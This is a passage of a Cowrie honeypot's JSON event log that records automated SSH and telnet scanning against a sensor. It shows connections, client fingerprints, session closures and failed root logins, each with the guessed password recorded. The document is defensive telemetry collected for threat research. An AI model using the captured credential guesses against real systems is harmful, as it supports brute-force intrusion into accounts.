tr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:22.198765Z","src_ip":"102.88.137.145","session":"04c4c33cb4e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle","message":"login attempt [root/oracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:22.947580Z","src_ip":"102.88.137.145","session":"04c4c33cb4e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:24.129570Z","src_ip":"102.88.137.145","session":"04c4c33cb4e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35670,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f8f0821984a","protocol":"telnet","message":"New connection: 192.119.13.58:35670 (10.17.0.5:23) [session: 9f8f0821984a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:28.359090Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33236,"dst_ip":"10.17.0.5","dst_port":23,"session":"0eeb10464d88","protocol":"telnet","message":"New connection: 192.119.13.58:33236 (10.17.0.5:23) [session: 0eeb10464d88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:28.820262Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.182.198","src_port":54742,"dst_ip":"159.203.135.109","dst_port":22,"session":"b49cd4455e0d","protocol":"ssh","message":"New connection: 103.75.182.198:54742 (159.203.135.109:22) [session: b49cd4455e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:45.101357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:45.107124Z","src_ip":"103.75.182.198","session":"b49cd4455e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:45.356766Z","src_ip":"103.75.182.198","session":"b49cd4455e0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lena","message":"login attempt [root/lena] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:46.120194Z","src_ip":"103.75.182.198","session":"b49cd4455e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46762,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a04b1c24799","protocol":"telnet","message":"New connection: 192.119.13.58:46762 (10.17.0.5:23) [session: 2a04b1c24799]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:46.940327Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:47.371099Z","src_ip":"103.75.182.198","session":"b49cd4455e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7dea578d7068","protocol":"telnet","message":"New connection: 192.119.13.58:40224 (10.17.0.5:23) [session: 7dea578d7068]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:31:59.996277Z"}
{"eventid":"cowrie.session.closed","duration":33.468247175216675,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:02.288347Z","src_ip":"192.119.13.58","session":"0eeb10464d88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.22924041748047,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:05.588250Z","src_ip":"192.119.13.58","session":"9f8f0821984a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58210,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffa2bbddd3b1","protocol":"telnet","message":"New connection: 192.119.13.58:58210 (10.17.0.5:23) [session: ffa2bbddd3b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:19.489818Z"}
{"eventid":"cowrie.session.closed","duration":46.88453245162964,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:33.824678Z","src_ip":"192.119.13.58","session":"2a04b1c24799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.79132437705994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:39.787490Z","src_ip":"192.119.13.58","session":"7dea578d7068","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":50148,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dfeb8b0d3e7","protocol":"ssh","message":"New connection: 103.219.170.37:50148 (159.203.135.109:22) [session: 1dfeb8b0d3e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:40.092683Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:40.101272Z","src_ip":"103.219.170.37","session":"1dfeb8b0d3e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:40.172845Z","src_ip":"103.219.170.37","session":"1dfeb8b0d3e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin1234","message":"login attempt [root/@dmin1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:40.383770Z","src_ip":"103.219.170.37","session":"1dfeb8b0d3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:32:41.457050Z","src_ip":"103.219.170.37","session":"1dfeb8b0d3e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.81973171234131,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:04.309437Z","src_ip":"192.119.13.58","session":"ffa2bbddd3b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35104,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6bf4dd3b3a","protocol":"telnet","message":"New connection: 192.119.13.58:35104 (10.17.0.5:23) [session: db6bf4dd3b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:13.446804Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40142,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f7daf195a2b","protocol":"telnet","message":"New connection: 192.119.13.58:40142 (10.17.0.5:23) [session: 6f7daf195a2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:22.661416Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":41820,"dst_ip":"10.17.0.5","dst_port":22,"session":"1de10faba3a3","protocol":"ssh","message":"New connection: 103.173.227.57:41820 (10.17.0.5:22) [session: 1de10faba3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:35.620223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:35.626791Z","src_ip":"103.173.227.57","session":"1de10faba3a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:35.864197Z","src_ip":"103.173.227.57","session":"1de10faba3a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kingston","message":"login attempt [root/kingston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:36.580781Z","src_ip":"103.173.227.57","session":"1de10faba3a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:37.820205Z","src_ip":"103.173.227.57","session":"1de10faba3a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":54902,"dst_ip":"159.203.135.109","dst_port":22,"session":"cee7b8ee43d3","protocol":"ssh","message":"New connection: 185.236.22.41:54902 (159.203.135.109:22) [session: cee7b8ee43d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:44.984413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:44.989790Z","src_ip":"185.236.22.41","session":"cee7b8ee43d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:45.129470Z","src_ip":"185.236.22.41","session":"cee7b8ee43d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321z","message":"login attempt [root/987654321z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:45.557081Z","src_ip":"185.236.22.41","session":"cee7b8ee43d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:46.689423Z","src_ip":"185.236.22.41","session":"cee7b8ee43d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":51965,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee40f623a71","protocol":"telnet","message":"New connection: 186.195.16.41:51965 (159.203.135.109:23) [session: cee40f623a71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:47.304943Z"}
{"eventid":"cowrie.session.closed","duration":38.09312462806702,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:51.539790Z","src_ip":"192.119.13.58","session":"db6bf4dd3b3a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.8178596496582,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:33:57.479180Z","src_ip":"192.119.13.58","session":"6f7daf195a2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37174,"dst_ip":"10.17.0.5","dst_port":23,"session":"2706a4df7d03","protocol":"telnet","message":"New connection: 192.119.13.58:37174 (10.17.0.5:23) [session: 2706a4df7d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:06.277579Z"}
{"eventid":"cowrie.session.closed","duration":0.005925416946411133,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:06.283375Z","src_ip":"192.119.13.58","session":"2706a4df7d03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":41998,"dst_ip":"159.203.135.109","dst_port":22,"session":"5571d7dedada","protocol":"ssh","message":"New connection: 62.133.63.178:41998 (159.203.135.109:22) [session: 5571d7dedada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:10.617838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:10.622688Z","src_ip":"62.133.63.178","session":"5571d7dedada","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:10.744842Z","src_ip":"62.133.63.178","session":"5571d7dedada","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mnbvcxz","message":"login attempt [root/mnbvcxz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:11.108258Z","src_ip":"62.133.63.178","session":"5571d7dedada","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:12.234129Z","src_ip":"62.133.63.178","session":"5571d7dedada","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":52886,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6c51ff25df1","protocol":"ssh","message":"New connection: 89.108.118.91:52886 (159.203.135.109:22) [session: e6c51ff25df1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:12.952028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:12.957801Z","src_ip":"89.108.118.91","session":"e6c51ff25df1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:13.104833Z","src_ip":"89.108.118.91","session":"e6c51ff25df1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34218,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe184062fd92","protocol":"telnet","message":"New connection: 192.119.13.58:34218 (10.17.0.5:23) [session: fe184062fd92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:13.115686Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"2005","message":"login attempt [root/2005] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:13.549285Z","src_ip":"89.108.118.91","session":"e6c51ff25df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:14.724859Z","src_ip":"89.108.118.91","session":"e6c51ff25df1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.7466824054718,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:41.051513Z","src_ip":"186.195.16.41","session":"cee40f623a71","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49614,"dst_ip":"159.203.135.109","dst_port":22,"session":"3333a0677169","protocol":"ssh","message":"New connection: 152.42.212.128:49614 (159.203.135.109:22) [session: 3333a0677169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T21:34:41.341761Z"}
